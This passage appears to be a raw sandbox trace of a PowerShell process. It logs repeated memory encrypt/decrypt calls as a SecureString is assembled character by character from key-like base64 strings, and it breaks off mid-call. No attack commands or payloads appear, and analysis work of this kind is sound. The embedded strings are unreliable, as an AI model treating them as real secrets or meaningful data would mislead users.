SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0226.646] SysStringLen (param_1="/klVpp6j15Lday88VzVUr5t1Pn/naIy唵") returned 0x20 [0226.646] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0226.646] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎຃펔蚋㤵ጧ눒⫀") returned 0x20 [0226.646] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎຃펔蚋㤵ጧ눒⫀") returned 0x20 [0226.646] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0226.646] SysStringLen (param_1="/klVpp6j15Lday88VzVUr5t1Pn/naIyu") returned 0x20 [0226.646] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0226.647] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎鴏䉘䑀ᖬ讳Ꜽ嫩署") returned 0x20 [0226.648] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎鴏䉘䑀ᖬ讳Ꜽ嫩署") returned 0x20 [0226.648] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎鴏䉘䑀ᖬ讳Ꜽ嫩署") returned 0x20 [0226.648] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎鴏䉘䑀ᖬ讳Ꜽ嫩署") returned 0x28 [0226.648] SystemFunction041 (in: Memory=0x5c9249c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9249c) returned 0x0 [0226.648] SysStringLen (param_1="/klVpp6j15Lday88VzVUr5t1Pn/naIyub竍㌩꽢\\ᅃ⦚㝡") returned 0x28 [0226.648] SystemFunction040 (in: Memory=0x5c9249c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9249c) returned 0x0 [0226.648] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎鴏䉘䑀ᖬ讳Ꜽ嫩署ꓞ䐊鼌\⿚솯땞∋) returned 0x28 [0226.649] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎鴏䉘䑀ᖬ讳Ꜽ嫩署ꓞ䐊鼌\⿚솯땞∋) returned 0x28 [0226.649] SystemFunction041 (in: Memory=0x5c9249c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9249c) returned 0x0 [0226.730] SysStringLen (param_1="/klVpp6j15Lday88VzVUr5t1Pn/naIyub1㌩꽢\\ᅃ⦚㝡") returned 0x28 [0226.730] SystemFunction040 (in: Memory=0x5c9249c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9249c) returned 0x0 [0226.730] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎鴏䉘䑀ᖬ讳Ꜽ嫩署푽颣晼坢ܟ憦") returned 0x28 [0226.730] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎鴏䉘䑀ᖬ讳Ꜽ嫩署푽颣晼坢ܟ憦") returned 0x28 [0226.730] SystemFunction041 (in: Memory=0x5c9249c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9249c) returned 0x0 [0226.730] SysStringLen (param_1="/klVpp6j15Lday88VzVUr5t1Pn/naIyub1W꽢\\ᅃ⦚㝡") returned 0x28 [0226.730] SystemFunction040 (in: Memory=0x5c9249c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9249c) returned 0x0 [0226.731] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎鴏䉘䑀ᖬ讳Ꜽ嫩署\\忚묲颢兑ﺱାᠬ") returned 0x28 [0226.731] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎鴏䉘䑀ᖬ讳Ꜽ嫩署\\忚묲颢兑ﺱାᠬ") returned 0x28 [0226.731] SystemFunction041 (in: Memory=0x5c9249c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9249c) returned 0x0 [0226.731] SysStringLen (param_1="/klVpp6j15Lday88VzVUr5t1Pn/naIyub1WV\\ᅃ⦚㝡") returned 0x28 [0226.731] SystemFunction040 (in: Memory=0x5c9249c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9249c) returned 0x0 [0226.731] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎鴏䉘䑀ᖬ讳Ꜽ嫩署唃὿磻룴宣䪹몱ﭑ") returned 0x28 [0226.731] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎鴏䉘䑀ᖬ讳Ꜽ嫩署唃὿磻룴宣䪹몱ﭑ") returned 0x28 [0226.731] SystemFunction041 (in: Memory=0x5c9249c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9249c) returned 0x0 [0226.731] SysStringLen (param_1="/klVpp6j15Lday88VzVUr5t1Pn/naIyub1WVxᅃ⦚㝡") returned 0x28 [0226.731] SystemFunction040 (in: Memory=0x5c9249c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9249c) returned 0x0 [0226.731] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎鴏䉘䑀ᖬ讳Ꜽ嫩署창ퟮﬧ濏袅쒁卂ꏷ") returned 0x28 [0226.731] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎鴏䉘䑀ᖬ讳Ꜽ嫩署창ퟮﬧ濏袅쒁卂ꏷ") returned 0x28 [0226.731] SystemFunction041 (in: Memory=0x5c9249c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9249c) returned 0x0 [0226.732] SysStringLen (param_1="/klVpp6j15Lday88VzVUr5t1Pn/naIyub1WVxl⦚㝡") returned 0x28 [0226.732] SystemFunction040 (in: Memory=0x5c9249c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9249c) returned 0x0 [0226.732] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎鴏䉘䑀ᖬ讳Ꜽ嫩署怄벯繖꥿憷핅孊") returned 0x28 [0226.732] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎鴏䉘䑀ᖬ讳Ꜽ嫩署怄벯繖꥿憷핅孊") returned 0x28 [0226.732] SystemFunction041 (in: Memory=0x5c9249c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9249c) returned 0x0 [0226.732] SysStringLen (param_1="/klVpp6j15Lday88VzVUr5t1Pn/naIyub1WVxlr㝡") returned 0x28 [0226.732] SystemFunction040 (in: Memory=0x5c9249c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9249c) returned 0x0 [0226.732] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎鴏䉘䑀ᖬ讳Ꜽ嫩署༕㓛껻躴❚黧粦⭘") returned 0x28 [0226.732] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎鴏䉘䑀ᖬ讳Ꜽ嫩署༕㓛껻躴❚黧粦⭘") returned 0x28 [0226.732] SystemFunction041 (in: Memory=0x5c9249c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9249c) returned 0x0 [0226.732] SysStringLen (param_1="/klVpp6j15Lday88VzVUr5t1Pn/naIyub1WVxlr2") returned 0x28 [0226.732] SystemFunction040 (in: Memory=0x5c9249c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9249c) returned 0x0 [0226.733] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎鴏䉘䑀ᖬ讳Ꜽ嫩署戱㚰ꊵ穁풍鯺Ꞙ") returned 0x28 [0226.733] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎鴏䉘䑀ᖬ讳Ꜽ嫩署戱㚰ꊵ穁풍鯺Ꞙ") returned 0x28 [0226.733] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎鴏䉘䑀ᖬ讳Ꜽ嫩署戱㚰ꊵ穁풍鯺Ꞙ") returned 0x28 [0226.734] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎鴏䉘䑀ᖬ讳Ꜽ嫩署戱㚰ꊵ穁풍鯺Ꞙ") returned 0x30 [0226.734] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0226.734] SysStringLen (param_1="/klVpp6j15Lday88VzVUr5t1Pn/naIyub1WVxlr2mล靜᡻拲檣") returned 0x30 [0226.734] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0226.734] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎鴏䉘䑀ᖬ讳Ꜽ嫩署戱㚰ꊵ穁풍鯺Ꞙ裡Ｘ꓍ꁵ䤋ᴆ딏宔") returned 0x30 [0226.734] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎鴏䉘䑀ᖬ讳Ꜽ嫩署戱㚰ꊵ穁풍鯺Ꞙ裡Ｘ꓍ꁵ䤋ᴆ딏宔") returned 0x30 [0226.734] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0226.734] SysStringLen (param_1="/klVpp6j15Lday88VzVUr5t1Pn/naIyub1WVxlr2mR靜᡻拲檣") returned 0x30 [0226.734] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0226.734] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎鴏䉘䑀ᖬ讳Ꜽ嫩署戱㚰ꊵ穁풍鯺Ꞙ턤쳨࿳驊\ퟝ媌酋≂) returned 0x30 [0226.734] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎鴏䉘䑀ᖬ讳Ꜽ嫩署戱㚰ꊵ穁풍鯺Ꞙ턤쳨࿳驊\ퟝ媌酋≂) returned 0x30 [0226.734] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0226.735] SysStringLen (param_1="/klVpp6j15Lday88VzVUr5t1Pn/naIyub1WVxlr2mRU᡻拲檣") returned 0x30 [0226.735] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0226.735] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎鴏䉘䑀ᖬ讳Ꜽ嫩署戱㚰ꊵ穁풍鯺Ꞙﺏ猏뱵\哜飣貚匹∡) returned 0x30 [0226.735] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎鴏䉘䑀ᖬ讳Ꜽ嫩署戱㚰ꊵ穁풍鯺Ꞙﺏ猏뱵\哜飣貚匹∡) returned 0x30 [0226.735] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0226.735] SysStringLen (param_1="/klVpp6j15Lday88VzVUr5t1Pn/naIyub1WVxlr2mRU=拲檣") returned 0x30 [0226.735] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0226.735] EtwEventActivityIdControl () returned 0x0 [0226.736] EtwEventActivityIdControl () returned 0x0 [0226.736] EtwEventActivityIdControl () returned 0x0 [0226.736] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0226.737] EtwEventActivityIdControl () returned 0x0 [0226.737] EtwEventActivityIdControl () returned 0x0 [0226.737] EtwEventActivityIdControl () returned 0x0 [0226.738] SysStringLen (param_1="") returned 0x8 [0226.738] SysStringLen (param_1="N") returned 0x8 [0226.738] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0226.739] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0226.739] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0226.739] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0226.739] SysStringLen (param_1="ND") returned 0x8 [0226.739] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0226.739] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0226.739] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0226.739] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0226.739] SysStringLen (param_1="NDZ") returned 0x8 [0226.740] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0226.740] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0226.740] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0226.740] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0226.740] SysStringLen (param_1="NDZl") returned 0x8 [0226.740] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0226.740] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0226.740] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0226.740] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0226.740] SysStringLen (param_1="NDZlO") returned 0x8 [0226.740] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0226.741] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0226.741] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0226.741] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0226.741] SysStringLen (param_1="NDZlOD") returned 0x8 [0226.741] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0226.741] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0226.741] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0226.741] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0226.741] SysStringLen (param_1="NDZlODR") returned 0x8 [0226.741] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0226.742] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0226.742] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0226.742] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0226.742] SysStringLen (param_1="NDZlODRm") returned 0x8 [0226.742] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0226.742] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0226.742] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0226.742] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0226.743] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0226.743] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0226.743] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0226.743] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0226.743] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0226.743] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0226.743] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0226.744] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0226.744] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0226.744] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0226.744] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0226.744] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0226.744] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0226.744] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0226.744] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0226.744] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0226.744] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0226.745] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0226.745] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0226.745] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0226.745] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0226.745] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0226.745] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0226.745] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0226.745] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0226.745] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0226.746] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0226.746] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0226.746] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0226.746] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0226.746] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0226.746] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0226.746] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0226.746] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0226.747] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0226.747] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0226.747] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0226.747] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0226.747] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0226.747] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0226.747] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0226.747] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0226.748] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0226.748] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0226.749] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0226.749] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0226.749] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0226.749] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0226.749] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0226.749] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0226.749] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0226.750] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0226.750] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0226.750] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0226.750] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0226.750] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0226.750] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0226.750] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0226.750] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0226.750] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0226.750] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0226.750] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0226.750] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0226.750] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0226.751] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0226.751] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0226.751] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0226.751] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0226.751] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0226.751] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0226.751] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0226.751] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0226.751] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0226.751] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0226.751] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0226.751] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0226.752] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0226.752] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0226.752] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0226.752] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0226.752] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0226.752] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0226.752] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0226.752] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0226.753] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0226.753] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0226.753] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0226.753] SystemFunction040 (in: 